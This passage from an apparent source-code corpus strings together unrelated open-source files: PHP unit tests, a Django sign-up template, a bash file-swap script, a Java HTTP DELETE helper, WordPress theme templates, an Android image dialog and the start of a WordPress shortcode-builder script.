) ); } /** * @covers ArcadiaCommon::number_with_suffix */ public function test_number_with_suffix_eleven() { $component = new ArcadiaCommon(); $this->assertEquals( '11th', $component->number_with_suffix( 11 ) ); } /** * @covers ArcadiaCommon::get_if_plural */ public function test_get_if_plural_no() { $component = new ArcadiaCommon(); $this->assertEquals( 'word', $component->get_if_plural( 1, 'word' ) ); } /** * @covers ArcadiaCommon::get_if_plural */ public function test_get_if_plural_yes() { $component = new ArcadiaCommon(); $this->assertEquals( 'words', $component->get_if_plural( 2, 'word' ) ); } /** * @covers ArcadiaCommon::time_round */ public function test_time_round_negative() { $component = new ArcadiaCommon(); $this->assertEquals( '', $component->time_round( -1 ) ); } /** * @covers ArcadiaCommon::time_round */ public function test_time_round_zero() { $component = new ArcadiaCommon(); $this->assertEquals( '0 seconds', $component->time_round( 0 ) ); } /** * @covers ArcadiaCommon::time_round */ public function test_time_round_one() { $component = new ArcadiaCommon(); $this->assertEquals( '1 second', $component->time_round( 1 ) ); } /** * @covers ArcadiaCommon::time_round */ public function test_time_round_minute() { $component = new ArcadiaCommon(); $this->assertEquals( '1 minute', $component->time_round( 60 ) ); } /** * @covers ArcadiaCommon::time_round */ public function test_time_round_hour() { $component = new ArcadiaCommon(); $this->assertEquals( '1 hour', $component->time_round( 60 * 60 ) ); } /** * @covers ArcadiaCommon::time_round */ public function test_time_round_day() { $component = new ArcadiaCommon(); $this->assertEquals( '1 day', $component->time_round( 60 * 60 * 24 ) ); } /** * @covers ArcadiaCommon::time_expand */ public function test_time_expand_zero() { $component = new ArcadiaCommon(); $this->assertEquals( $component->time_expand( 0 ), '' ); } /** * @covers ArcadiaCommon::time_expand */ public function test_time_expand_full() { $component = new ArcadiaCommon(); $this->assertEquals( $component->time_expand( 1209599 ), '1 week, 6 days, 23 hours, 59 minutes, 59 seconds' ); } /** * @covers ArcadiaCommon::time_expand */ public function test_time_expand_negative() { $component = new ArcadiaCommon(); $this->assertEquals( $component->time_expand( -1 ), '' ); } /** * @covers ArcadiaCommon::rand_float */ public function test_rand_float_in_range() { $component = new ArcadiaCommon(); $rand_min = 0; $rand_max = 100; $result = $component->rand_float( $rand_min, $rand_max ); $this->assertGreaterThanOrEqual( $rand_min, $result ); $this->assertLessThanOrEqual( $rand_max, $result ); } }
scotchfield/arcadia
test/tests/include/test_common.php
PHP
gpl-2.0
10,550
Overview ======== This is the test suite, based on the openjdk8u60 test suite, downloaded from the Mercurial repository at http://hg.openjdk.java.net/jdk8u/jdk8u60 License ------- The license for the tests is GPL version 2 only. There is no classpath exception for the tests. For this reason, they are not included in the redistributable package.
run2000/compactbeans
test/README.md
Markdown
gpl-2.0
362
{% extends 'base.html' %} {% block head %} <link href="../static/css/sign_up.css" rel="stylesheet" > {% endblock %} {% block title %} Sign up! {% endblock %} {% block content %} <div class="container"> {% if user_errors %} <div class="alert alert-danger"> {{ user_errors }} </div> {% elif profile_errors %} <div class="alert alert-danger"> {{ profile_errors }} </div> {% endif %} <div class="well"> <form id="signup" class="form-horizontal" method="post" action="/sign_up"> {% csrf_token %} <legend>Sign Up</legend> <div class="control-group"> <label class="control-label" for="id_{{ user_form.username.name }}">Username</label> <div class="controls"> <div class="input-prepend"> <span class="add-on"><i class="icon-user"></i></span> <input type="text" class="input-xlarge" id="id_{{ user_form.username.name }}" name="{{ user_form.username.name }}" placeholder="Username"> </div> </div> </div> <div class="control-group" for="id_{{ profile_form.display_name.name }}"> <label class="control-label" for="id_{{ profile_form.display_name.name }}">Display Name</label> <div class="controls"> <div class="input-prepend"> <span class="add-on"><i class="icon-user"></i></span> <input type="text" class="input-xlarge" id="id_{{ profile_form.display_name.name }}" name="{{ profile_form.display_name.name }}" placeholder="Display Name"> </div> </div> </div> <div class="control-group"> <label class="control-label" for="id_{{ user_form.email.name }}">Email</label> <div class="controls"> <div class="input-prepend"> <span class="add-on"><i class="icon-envelope"></i></span> <input type="text" class="input-xlarge" id="id_{{ user_form.email.name }}" name="{{ user_form.email.name }}" placeholder="Email"> </div> </div> </div> <div class="control-group"> <label class="control-label" for="id_{{ user_form.password.name }}">Password</label> <div class="controls"> <div class="input-prepend"> <span class="add-on"><i class="icon-lock"></i></span> <input type="Password" id="id_{{ user_form.password.name }}" class="input-xlarge" name="{{ user_form.password.name }}" placeholder="Password"> </div> </div> </div> <div class="control-group"> <label class="control-label">Confirm Password</label> <div class="controls"> <div class="input-prepend"> <span class="add-on"><i class="icon-lock"></i></span> <input type="Password" id="conpasswd" class="input-xlarge" name="conpasswd" placeholder="Re-enter Password"> </div> </div> </div> <div class="control-group"> <label class="control-label"></label> <div class="controls"> <button type="submit" class="btn btn-success" >Create My Account</button> </div> </div> </form> <script type="text/javascript"> $(document).ready(function(){ $("#signup").validate({ rules:{ {{ user_form.username.name }}:"required", {{ profile_form.display_name.name }}:"required", {{ user_form.email.name }}:{ required:true, email: true }, {{ user_form.password.name }}:{ required:true, minlength: 8 }, conpasswd:{ required:true, equalTo: "#{{ user_form.password.name }}" }, errorClass: "help-inline" }); }); </script> {% endblock %}
Cojacfar/Maker
StreamPal/interface/templates/sign_up.html
HTML
gpl-2.0
3,443
#!/bin/bash if [ $# -ne 2 ];then echo "Usage: $0 <src_1> <src_2>" exit 1 fi mv $1 tmp mv $2 $1 mv tmp $2 exit 0
chapering/DTIStudy
dataproc_scripts/exchange_file.sh
Shell
gpl-2.0
117
package tasslegro.base; import java.io.IOException; import java.net.URI; import org.apache.http.HttpEntity; import org.apache.http.HttpResponse; import org.apache.http.ParseException; import org.apache.http.annotation.NotThreadSafe; import org.apache.http.client.ClientProtocolException; import org.apache.http.client.methods.HttpEntityEnclosingRequestBase; import org.apache.http.entity.StringEntity; import org.apache.http.impl.client.CloseableHttpClient; import org.apache.http.impl.client.DefaultHttpClient; import org.apache.http.util.EntityUtils; public class Http_Delete { @NotThreadSafe class HttpDeleteWithBody extends HttpEntityEnclosingRequestBase { public static final String METHOD_NAME = "DELETE"; public String getMethod() { return METHOD_NAME; } public HttpDeleteWithBody(final String uri) { super(); setURI(URI.create(uri)); } public HttpDeleteWithBody(final URI uri) { super(); setURI(uri); } public HttpDeleteWithBody() { super(); } } CloseableHttpClient httpClient = new DefaultHttpClient(); HttpDeleteWithBody delete = null; HttpResponse response = null; public Http_Delete(String url, String entity) throws ClientProtocolException, IOException { this.delete = new HttpDeleteWithBody(url); this.delete.setHeader("Content-type", "application/json"); StringEntity stringEntity = new StringEntity(entity.toString(), "UTF-8"); this.delete.setEntity(stringEntity); this.response = this.httpClient.execute(this.delete); } public Http_Delete() { } public void setURL(String url, String entity) throws ClientProtocolException, IOException { this.delete = new HttpDeleteWithBody(url); this.delete.setHeader("Content-type", "application/json"); StringEntity stringEntity = new StringEntity(entity.toString(), "UTF-8"); this.delete.setEntity(stringEntity); this.response = this.httpClient.execute(this.delete); } public int getStatusCode() { if (response == null) { return 0; } return this.response.getStatusLine().getStatusCode(); } public String getStrinResponse() throws ParseException, IOException { if (response == null) { return null; } HttpEntity entity = this.response.getEntity(); return EntityUtils.toString(entity, "UTF-8"); } }
kaczla/TAS
Client/src/main/java/tasslegro/base/Http_Delete.java
Java
gpl-2.0
2,256
<div class="header-title"> <?php if(is_home()){ ?> <?php $blog_text = of_get_option('blog_text'); ?> <?php if($blog_text){?> <h1><?php echo of_get_option('blog_text'); ?></h1> <?php } else { ?> <h1><?php _e('Blog','theme1599');?></h1> <?php } ?> <?php } else { ?> <?php if (have_posts()) : while (have_posts()) : the_post(); ?> <?php $pagetitle = get_post_custom_values("page-title");?> <?php $pagedesc = get_post_custom_values("page-desc");?> <?php if($pagetitle == ""){ ?> <h1><?php the_title(); ?></h1> <?php } else { ?> <h1><?php echo $pagetitle[0]; ?></h1> <?php } ?> <?php if($pagedesc != ""){ ?> <span class="page-desc"><?php echo $pagedesc[0];?></span> <?php } ?> <?php endwhile; endif; ?> <?php wp_reset_query();?> <?php } ?> </div>
yosagarrane/testsite
wp-content/themes/65_65fd76e4b7c1e295a14f4b0cdfb23039/title.php
PHP
gpl-2.0
822
package com.fjaviermo.dropdroid; import java.io.ByteArrayOutputStream; import android.graphics.Bitmap; import android.graphics.BitmapFactory; import android.os.Bundle; import android.support.v4.app.DialogFragment; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import android.widget.ImageView; public final class CoverImageDialogFragment extends DialogFragment { private Bitmap mImage; private static final String IMAGE="image"; /** * Create a new instance of CoverImageDialogFragment, providing "image" * as an argument. */ static CoverImageDialogFragment newInstance(Bitmap image) { CoverImageDialogFragment coverImageDialog = new CoverImageDialogFragment(); Bundle args = new Bundle(); ByteArrayOutputStream stream = new ByteArrayOutputStream(); image.compress(Bitmap.CompressFormat.PNG, 100, stream); byte[] byteArray = stream.toByteArray(); args.putByteArray(IMAGE, byteArray); coverImageDialog.setArguments(args); coverImageDialog.setStyle(DialogFragment.STYLE_NO_TITLE, 0); return coverImageDialog; } @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); byte[] byteArray = getArguments().getByteArray(IMAGE); mImage = BitmapFactory.decodeByteArray(byteArray, 0, byteArray.length); } @Override public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) { View view = inflater.inflate(R.layout.image_dialog, container, false); ImageView imgView=(ImageView)view.findViewById(R.id.thumbnail_epub); imgView.setImageBitmap(mImage); return view; } }
fjaviermo/dropdroid
app/src/com/fjaviermo/dropdroid/CoverImageDialogFragment.java
Java
gpl-2.0
1,793
(function() { var preview = true; var themeShortcuts = { insert: function(where) { switch(where) { case 'st_button_more': var href = jQuery("#btn_more_src").val(); var what = '[st_button_more href="'+href+'"]'; break; case 'st_button': var text = jQuery("#text").val(); var text_color = jQuery("#color").val(); var link = jQuery("#link").val(); var bg = jQuery("#bg").val(); var size = jQuery("#size").val(); var icon = jQuery("#name").val(); var target = jQuery("#target").val(); var border_radius = jQuery("#border_radius").val(); var what = '[st_button text_color="'+text_color+'" link="'+link+'" background="'+bg+'" size="'+size+'" target="'+target+'" icon="'+icon+'" border_radius="'+border_radius+'"]'+text+'[/st_button]'; break; case 'st_hover_fill_button': var text = jQuery("#text").val(); var text_color = jQuery("#color").val(); var link = jQuery("#link").val(); var bg = jQuery("#bg").val(); var hover_bg = jQuery("#hover_bg").val(); var size = jQuery("#size").val(); var icon = jQuery("#name").val(); var target = jQuery("#target").val(); var hover_direction = jQuery("#hover_direction").val(); var border_radius = jQuery("#border_radius").val(); var what = '[st_hover_fill_button text_color="'+text_color+'" link="'+link+'" background="'+bg+'" hover_background="'+hover_bg+'" size="'+size+'" target="'+target+'" icon="'+icon+'" border_radius="'+border_radius+'" hover_direction="'+hover_direction+'"]'+text+'[/st_hover_fill_button]'; break; case 'st_hover_fancy_icon_button': var text = jQuery("#text").val(); var text_color = jQuery("#color").val(); var link = jQuery("#link").val(); var bg = jQuery("#bg").val(); var size = jQuery("#size").val(); var icon = jQuery("#name").val(); var icon_color = jQuery("#icon_color").val(); var icon_bg = jQuery("#icon_bg").val(); var target = jQuery("#target").val(); var icon_position = jQuery("#icon_pos").val(); var icon_separator = jQuery("#icon_sep").val(); var border_radius = jQuery("#border_radius").val(); var what = '[st_hover_fancy_icon_button text_color="'+text_color+'" link="'+link+'" background="'+bg+'" size="'+size+'" target="'+target+'" icon="'+icon+'" icon_color="'+icon_color+'" icon_background="'+icon_bg+'" icon_position="'+icon_position+'" icon_separator="'+icon_separator+'" border_radius="'+border_radius+'"]'+text+'[/st_hover_fancy_icon_button]'; break; case 'st_hover_arrows_button': var text = jQuery("#text").val(); var text_color = jQuery("#color").val(); var link = jQuery("#link").val(); var bg = jQuery("#bg").val(); var size = jQuery("#size").val(); var icon = jQuery("#name").val(); var target = jQuery("#target").val(); var border_radius = jQuery("#border_radius").val(); var arrow_direction = jQuery("#arrow_direction").val(); var what = '[st_hover_arrows_button text_color="'+text_color+'" link="'+link+'" background="'+bg+'" size="'+size+'" target="'+target+'" icon="'+icon+'" border_radius="'+border_radius+'" arrow_direction="'+arrow_direction+'"]'+text+'[/st_hover_arrows_button]'; break; case 'st_hover_icon_button': var text = jQuery("#text").val(); var text_color = jQuery("#color").val(); var link = jQuery("#link").val(); var bg = jQuery("#bg").val(); var size = jQuery("#size").val(); var icon = jQuery("#name").val(); var target = jQuery("#target").val(); var border_radius = jQuery("#border_radius").val(); var icon_direction = jQuery("#icon_direction").val(); var what = '[st_hover_icon_button text_color="'+text_color+'" link="'+link+'" background="'+bg+'" size="'+size+'" target="'+target+'" icon="'+icon+'" icon_direction="'+icon_direction+'" border_radius="'+border_radius+'"]'+text+'[/st_hover_icon_button]'; break; case 'st_hover_bordered_button': var text = jQuery("#text").val(); var text_color = jQuery("#color").val(); var link = jQuery("#link").val(); var bg = jQuery("#bg").val(); var size = jQuery("#size").val(); var icon = jQuery("#name").val(); var target = jQuery("#target").val(); var border_type = jQuery("#border_type").val(); var border_radius = jQuery("#border_radius").val(); var what = '[st_hover_bordered_button text_color="'+text_color+'" link="'+link+'" background="'+bg+'" size="'+size+'" target="'+target+'" icon="'+icon+'" border_radius="'+border_radius+'" border_type="'+border_type+'"]'+text+'[/st_hover_bordered_button]'; break; case 'st_unordered': var list = '<li>First list item</li>'; var listicon = jQuery("#listicon").val(); var what = '[st_unordered listicon="'+listicon+'"]'+list+'[/st_unordered]'; break; case 'st_box': var title = jQuery("#box_title").val(); var text = jQuery("#text").val(); var type = jQuery("#box_type").val(); var what = '[st_box title="'+title+'" type="'+type+'"]'+text+'[/st_box]'; break; case 'st_callout': var title = jQuery("#callout_title").val(); var text = jQuery("#text").val(); var btn_text = jQuery("#btn_text").val(); var btn_link = jQuery("#btn_link").val(); var text_color = jQuery("#color").val(); var bg = jQuery("#bg").val(); var what = '[st_callout title="'+title+'" button_text="'+btn_text+'" link="'+btn_link+'" text_color="'+text_color+'" background="'+bg+'"]'+text+'[/st_callout]'; break; case 'st_tooltip': var text = jQuery("#text").val(); var tooltip_text = jQuery("#tooltip_text").val(); var type = jQuery("#tooltip_type").val(); var what = '[st_tooltip type="'+type+'" tooltip_text="'+tooltip_text+'"]'+text+'[/st_tooltip]'; break; case 'st_popover': var content = 'Your text here'; var title = jQuery("#popover_title").val(); var text = jQuery("#popover_text").val(); var type = jQuery("#popover_type").val(); var what = '[st_popover type="'+type+'" popover_title="'+title+'" text="'+text+'"]'+content+'[/st_popover]'; break; case 'st_modal': var title = jQuery("#modal_title").val(); var content = jQuery("#modal_text").val(); var modal_link = jQuery("#modal_link").val(); var primary_text = jQuery("#primary").val(); var primary_link = jQuery("#primary_link").val(); var what = '[st_modal modal_link="'+modal_link+'" primary_text="'+primary_text+'" primary_link="'+primary_link+'" modal_title="'+title+'"]'+content+'[/st_modal]'; break; case 'st_tables': var colsEl = jQuery("#cols"); var rowsEl = jQuery("#rows"); var cols = new Array(); var rows = new Array(); for(var i=0; i<jQuery(rowsEl).val(); i++) { for(var j=0; j<jQuery(colsEl).val(); j++) { if(i == 0) { cols.push(jQuery('#input_'+i+''+j).val()); } else if (i == 1) { rows.push(jQuery('#input_'+i+''+j).val()); j = jQuery(colsEl).val(); } else { rows.push(jQuery('#input_'+i+''+j).val()); } } } var what = '[st_table cols="'+cols.join('||')+'" data="'+rows.join('||')+'"]'; break; case 'st_tabs': var tabs = ''; var boxes = jQuery(".box"); boxes.splice(0,1); jQuery(boxes).each(function() { var title = jQuery(this).find('input').val(); var text = jQuery(this).find('textarea').val(); tabs += '[st_tab title="'+title+'"]'+text+'[/st_tab]'; }); var what = '[st_tabs]'+tabs+'[/st_tabs]'; break; case 'st_toggle': var accs = ''; var boxes = jQuery(".box"); jQuery(boxes).each(function() { var title = jQuery(this).find('input').val(); var text = jQuery(this).find('textarea').val(); var state = jQuery(this).find('select').val(); accs += '[st_panel title="'+title+'" state="'+state+'"]'+text+'[/st_panel]<br />'; }); var what = '[st_toggle]<br />'+accs+'[/st_toggle]'; break; case 'st_accordion': var accs = ''; var boxes = jQuery(".box"); jQuery(boxes).each(function() { var title = jQuery(this).find('input').val(); var text = jQuery(this).find('textarea').val(); var state = jQuery(this).find('select').val(); accs += '[st_acc_panel title="'+title+'" state="'+state+'"]'+text+'[/st_acc_panel]<br />'; }); var what = '[st_accordion]<br />'+accs+'[/st_accordion]'; break; case 'st_progress_bar': var width = jQuery("#width").val(); var style = jQuery("#style").val(); var striped = jQuery("#striped").val(); var active = jQuery("#active").val(); var what = '[st_progress_bar width="'+width+'" style="'+style+'" striped="'+striped+'" active="'+active+'"]'; break; case 'st_related_posts': var limit = jQuery("#limit").val(); var what = '[st_related_posts limit="'+limit+'"]'; break; case 'st_highlight': var background_color = jQuery("#background_color").val(); var text_color = jQuery("#text_color").val(); var what = '[st_highlight background_color="'+background_color+'" text_color="'+text_color+'"]Highlighted text[/st_highlight]'; break; case 'st_loginout': var text_col = jQuery("#color").val(); var bg = jQuery("#bg").val(); var size = jQuery("#size").val(); var type = jQuery("#login_type").val(); var target = jQuery("#target").val(); var login_msg = jQuery("#login_msg").val(); var logout_msg = jQuery("#logout_msg").val(); var what = '[st_loginout text_col="'+text_col+'" background="'+bg+'" size="'+size+'" login_msg="'+login_msg+'" logout_msg="'+logout_msg+'"]'; break; case 'st_quote': var author = jQuery("#author-name").val(); var content = jQuery("#text").val(); var what = '[st_quote author="'+author+'"]' +content+ '[/st_quote]'; break; case 'st_abbreviation': var text = jQuery("#text").val(); var abbreviation = jQuery("#abbreviation").val(); var what = '[st_abbr title="'+abbreviation+'"]' + text + '[/st_abbr]'; break; case 'st_twitter': var style = jQuery("#style").val(); var url = jQuery("#url").val(); var sourceVal = jQuery("#source").val(); var related = jQuery("#related").val(); var text = jQuery("#text").val(); var lang = jQuery("#lang").val(); var what = '[st_twitter style="'+style+'" url="'+url+'" source="'+sourceVal+'" related="'+related+'" text="'+text+'" lang="'+lang+'"]'; break; case 'st_digg': var style = jQuery("#style").val(); var link = jQuery("#link").val(); var title = jQuery("#digg_title").val(); var what = '[st_digg style="'+style+'" title="'+title+'" link="'+link+'"]'; break; case 'st_fblike': var style = jQuery("#style").val(); var url = jQuery("#url").val(); var show_faces = jQuery("#show_faces").val(); var width = jQuery("#width").val(); var verb = jQuery("#verb_to_display").val(); var font = jQuery("#font").val(); var what = '[st_fblike url="'+url+'" style="'+style+'" showfaces="'+show_faces+'" width="'+width+'" verb="'+verb+'" font="'+font+'"]'; break; case 'st_fbshare': var url = jQuery("#link").val(); var what = '[st_fbshare url="'+url+'"]'; break; case 'st_lishare': var style = jQuery("#style").val(); var url = jQuery("#link").val(); var sourceVal = jQuery("#source").val(); var related = jQuery("#related").val(); var text = jQuery("#text").val(); var lang = jQuery("#lang").val(); var what = '[st_linkedin_share url="'+url+'" style="'+style+'"]'; break; case 'st_gplus': var style = jQuery("#style").val(); var size = jQuery("#size").val(); var what = '[st_gplus style="'+style+'" size="'+size+'"]'; break; case 'st_pinterest_pin': var style = jQuery("#style").val(); var what = '[st_pinterest_pin style="'+style+'"]'; break; case 'st_tumblr': var style = jQuery("#style").val(); var what = '[st_tumblr style="'+style+'"]'; break; case 'st_pricingTable': var content = ''; var columns = jQuery("#columns").val(); var highlighted = jQuery("#highlighted").val(); for(x=0;x<columns;x++) { var highlight = ((x+1) == highlighted) ? " highlight='true'" : ''; content += "\n[st_pricing_column title='Column " + (x+1) + "'" + highlight + "]\n[st_price_info cost='$14.99/month'][/st_price_info]<ul><li>Item description and details...</li>\n<li>Item description and details...</li>\n<li>Some more info...</li>\n<li>[st_button text_color='#444444' link='#' background='#E6E6E6' size='small']Button text[/st_button]</li></ul>\n[/st_pricing_column]\n"; } var what = "[st_pricing_table columns='"+columns+"']\n" + content + "\n[/st_pricing_table]"; break; case 'st_gmap': var additional = ''; additional = (jQuery("#latitude").val() != '') ? additional + ' latitude="'+ jQuery("#latitude").val() +'"' : additional; additional = (jQuery("#longitute").val() != '') ? additional + ' longitute="'+ jQuery("#longitute").val() +'"' : additional; additional = (jQuery("#html").val() != '') ? additional + ' html="'+ jQuery("#html").val() +'"' : additional; additional = (jQuery("#zoom").val() != '') ? additional + ' zoom="'+ jQuery("#zoom").val() +'"' : additional; additional = (jQuery("#gheight").val() != '') ? additional + ' height="'+ jQuery("#gheight").val() +'"' : additional; additional = (jQuery("#gwidth").val() != '') ? additional + ' width="'+ jQuery("#gwidth").val() +'"' : additional; additional = (jQuery("#maptype").val() != '') ? additional + ' maptype="'+ jQuery("#maptype").val() +'"' : additional; additional = (jQuery("#color").val() != '') ? additional + ' color="'+ jQuery("#color").val() +'"' : additional; var what = '[st_gmap '+additional+']'; break; case 'st_trends': var width = jQuery("#width").val(); var height = jQuery("#height").val(); var query = jQuery("#query").val(); var geo = jQuery("#geo").val(); var what = '[st_trends width="'+width+'" height="'+height+'" query="'+query+'" geo="'+geo+'"]'; break; case 'st_gchart': var data = jQuery("#data").val(); var title = jQuery("#g_title").val(); var width = jQuery("#width").val(); var height = jQuery("#height").val(); var series_type = jQuery("#series_type").val(); var vAxis = jQuery("#vAxis").val(); var hAxis = jQuery("#hAxis").val(); var type = jQuery("#gchart_type").val(); var red_from = jQuery("#red_from").val(); var red_to = jQuery("#red_to").val(); var yellow_from = jQuery("#yellow_from").val(); var yellow_to = jQuery("#yellow_to").val(); var gauge_minor_ticks = jQuery("#gauge_minor_ticks").val(); var what = '[st_chart title="'+title+'" data="'+data+'" width="'+width+'" height="'+height+'" type="'+type+'" series_type="'+series_type+'" vAxis="'+vAxis+'" hAxis="'+hAxis+'" red_from="'+red_from+'" red_to="'+red_to+'" yellow_from="'+yellow_from+'" yellow_to="'+yellow_to+'" gauge_minor_ticks="'+gauge_minor_ticks+'"]'; break; case 'st_chart_pie': var data = jQuery("#data").val(); var title = jQuery("#pie_title").val(); var what = '[st_chart_pie title="'+title+'" data="'+data+'"]'; break; case 'st_chart_bar': var data = jQuery("#data").val(); var title = jQuery("#bar_title").val(); var vaxis = jQuery("#vaxis_title").val(); var haxis = jQuery("#haxis_title").val(); var what = '[st_chart_bar title="'+title+'" data="'+data+'" vaxis="'+vaxis+'" haxis="'+haxis+'"]'; break; case 'st_chart_area': var data = jQuery("#data").val(); var title = jQuery("#area_title").val(); var vaxis = jQuery("#vaxis_title").val(); var haxis = jQuery("#haxis_title").val(); var what = '[st_chart_area title="'+title+'" data="'+data+'" vaxis="'+vaxis+'" haxis="'+haxis+'"]'; break; case 'st_chart_geo': var data = jQuery("#data").val(); var title = jQuery("#geo_title").val(); var primary = jQuery("#primary").val(); var secondary = jQuery("#secondary").val(); var what = '[st_chart_geo title="'+title+'" data="'+data+'" primary="'+primary+'" secondary="'+secondary+'"]'; break; case 'st_chart_combo': var data = jQuery("#data").val(); var title = jQuery("#combo_title").val(); var vaxis = jQuery("#vaxis_title").val(); var haxis = jQuery("#haxis_title").val(); var series = jQuery("#series").val(); var what = '[st_chart_combo title="'+title+'" data="'+data+'" vaxis="'+vaxis+'" haxis="'+haxis+'" series="'+series+'"]'; break; case 'st_chart_org': var data = jQuery("#data").val(); var what = '[st_chart_org data="'+data+'"]'; break; case 'st_chart_bubble': var data = jQuery("#data").val(); var title = jQuery("#bubble_title").val(); var primary = jQuery("#primary").val(); var secondary = jQuery("#secondary").val(); var what = '[st_chart_bubble title="'+title+'" data="'+data+'" primary="'+primary+'" secondary="'+secondary+'"]'; break; case 'st_gdocs': var url = jQuery("#url").val(); var width = jQuery("#width").val(); var height = jQuery("#height").val(); var what = "[st_gdocs width='"+width+"' height='"+height+"' url='"+ url +"']"; break; case 'st_children': var parent = jQuery("#page").val(); var what = "[st_children of='"+ parent +"']"; break; case 'st_contact_form_dark': var email_d = jQuery("#email_d").val(); var what = "[st_contact_form_dark email='"+ email_d +"']"; break; case 'st_contact_form_light': var email_l = jQuery("#email_l").val(); var what = "[st_contact_form_light email='"+ email_l +"']"; break; case 'st_fancyboxImages': var href = jQuery("#href").val(); var thumb = jQuery("#thumb").val(); var thumb_width = jQuery("#thumb_width").val(); var group = jQuery("#group").val(); var title = jQuery("#title_lb").val(); var what = "[st_fancyboxImages href='"+ href +"' thumb='"+thumb+"' thumb_width='"+thumb_width+"' group='"+group+"' title='"+title+"']"; break; case 'st_fancyboxInline': var title = jQuery("#in_title").val(); var content_title = jQuery("#content_title").val(); var content = jQuery("#in_content").val(); var what = "[st_fancyboxInline title='"+title+"' content_title='"+content_title+"' content='"+content+"']"; break; case 'st_fancyboxIframe': var title = jQuery("#iframe_title").val(); var href = jQuery("#iframe_href").val(); var what = "[st_fancyboxIframe title='"+title+"' href='"+ href +"']"; break; case 'st_fancyboxPage': var title = jQuery("#ipage_title").val(); var href = jQuery("#ipage").val(); var what = "[st_fancyboxPage title='"+title+"' href='"+ href +"']"; break; case 'st_fancyboxSwf': var title = jQuery("#swf_title").val(); var href = jQuery("#swf").val(); var what = "[st_fancyboxSwf title='"+title+"' href='"+href+"']"; break; case 'st_video': var title = jQuery("#video_title").val(); var display = jQuery("#display").val(); var width = jQuery("#width").val(); var height = jQuery("#height").val(); var type = jQuery("#video_type").val(); if (type == 'flash') { var src = jQuery("#src").val(); var what = "[st_video title='"+title+"' type='"+ type +"' width='"+width+"' height='"+height+"' src='"+src+"']"; } else if (type == 'html5') { var poster = jQuery("#poster").val(); var mp4 = jQuery("#mp4").val(); var webm = jQuery("#webm").val(); var ogg = jQuery("#ogg").val(); var what = "[st_video title='"+title+"' type='"+ type +"' width='"+width+"' height='"+height+"' poster='"+poster+"' mp4='"+mp4+"' webm='"+webm+"' ogg='"+ogg+"']"; } else { var src = jQuery("#clip_id").val(); var what = "[st_video title='"+title+"' type='"+ type +"' width='"+width+"' height='"+height+"' src='"+src+"']"; } var group = jQuery("#group").val(); var title = jQuery("#title_lb").val(); break; case 'st_audio': var title = jQuery("#audio_title").val(); var src = jQuery("#audio_src").val(); var what = "[st_audio title='"+title+"' src='"+src+"']"; break; case 'st_soundcloud': var src = jQuery("#sound_src").val(); var color = jQuery("#sound_color").val(); var what = "[st_soundcloud color='"+color+"' src='"+src+"']"; break; case 'st_mixcloud': var src = jQuery("#mix_src").val(); var width = jQuery("#mix_width").val(); var height = jQuery("#mix_height").val(); var what = "[st_mixcloud width='"+width+"' height='"+height+"' src='"+src+"']"; break; case 'st_section_image': var image_id = jQuery("#imageid").val(); var bg_color = jQuery("#bg_color").val(); var type = jQuery("#section_image_type").val(); var bg_position = jQuery("#bg_position").val(); var bg_size = jQuery("#bg_size").val(); var repeat = jQuery("#repeat").val(); var padding = jQuery("#img_padding").val(); var what = "[st_section_image image_id='"+image_id+"' bg_color='"+bg_color+"' type='"+type+"' position='"+bg_position+"' bg_size='"+bg_size+"' repeat='"+repeat+"' padding='"+padding+"']Section content goes here[/st_section_image]"; break; case 'st_section_color': var color = jQuery("#color").val(); var padding = jQuery("#col_padding").val(); var what = "[st_section_color color='"+color+"' padding='"+padding+"']Section content goes here[/st_section_color]"; break; case 'st_text_color': var color = jQuery("#color").val(); var what = "[st_text_color color='"+color+"']Text goes here[/st_text_color]"; break; case 'st_posts_carousel': var posts = jQuery("#posts").val(); var number = jQuery("#number").val(); var cat = jQuery("#cat").val(); var display_title = jQuery("#display_title").val(); var what = "[st_posts_carousel posts='"+posts+"' number='"+number+"' cat='"+cat+"' display_title='"+display_title+"']"; break; case 'st_swiper': var posts = jQuery("#swiper_posts").val(); var number = jQuery("#swiper_number").val(); var category = jQuery("#category").val(); var display_title = jQuery("#display_title").val(); var what = "[st_swiper posts='"+posts+"' number='"+number+"' category='"+category+"' display_title='"+display_title+"']"; break; case 'st_animated': var type = jQuery("#animated_type").val(); var trigger = jQuery("#trigger").val(); var precent = jQuery("#precent").val(); var what = "[st_animated type='"+type+"' trigger='"+trigger+"' precent='"+precent+"']Animated element goes here[/st_animated]"; break; case 'st_svg_drawing': var type = jQuery("#drawing_type").val(); var image_id = jQuery("#image_id").val(); var color = jQuery("#drawing_color").val(); var what = "[st_svg_drawing type='"+type+"' image_id='"+image_id+"' color='"+color+"']"; break; case 'st_animated_boxes': var posts = jQuery("#posts").val(); var what = "[st_animated_boxes posts='"+posts+"']"; break; case 'st_icon': var name = jQuery("#name").val(); var size = jQuery("#size").val(); var type = jQuery("#icon_type").val(); var color = jQuery("#icon_color").val(); var bg_color = jQuery("#icon_bg_color").val(); var border_color = jQuery("#icon_border_color").val(); var align = jQuery("#align").val(); var what = "[st_icon name='"+name+"' size='"+size+"' color='"+color+"' type='"+type+"' background='"+bg_color+"' border_color='"+border_color+"' align='"+align+"']"; break; case 'st_icon_melon': var name = jQuery("#name").val(); var size = jQuery("#size").val(); var type = jQuery("#icon_type").val(); var color = jQuery("#icon_color").val(); var bg_color = jQuery("#icon_bg_color").val(); var border_color = jQuery("#icon_border_color").val(); var align = jQuery("#align").val(); var what = "[st_icon_melon name='"+name+"' size='"+size+"' color='"+color+"' type='"+type+"' background='"+bg_color+"' border_color='"+border_color+"' align='"+align+"']"; break; case 'st_social_icon': var name = jQuery("#name").val(); var href = jQuery("#href").val(); var target = jQuery("#target").val(); var align = jQuery("#align").val(); var what = "[st_social_icon name='"+name+"' href='"+href+"' target='"+target+"' align='"+align+"']"; break; case 'st_divider_text': var type = jQuery("#divider_type").val(); var text = jQuery("#text").val(); var what = "[st_divider_text position='"+type+"' text='"+text+"']"; break; case 'st_countdown': var id = jQuery("#event_id").val(); var align = jQuery("#countdown_align").val(); var what = "[st_countdown id='"+id+"' align='"+align+"']"; break; case 'st_testimonials': var color = jQuery("#color").val(); var number = jQuery("#number").val(); var what = "[st_testimonials color='"+color+"' number='"+number+"']"; break; } if(this.validate()) { if(preview === true) { var values = { 'data': what }; jQuery.ajax({ url: stPluginUrl + '/ajaxPlugin.php?act=preview', type: 'POST', data: values, loading: function() { 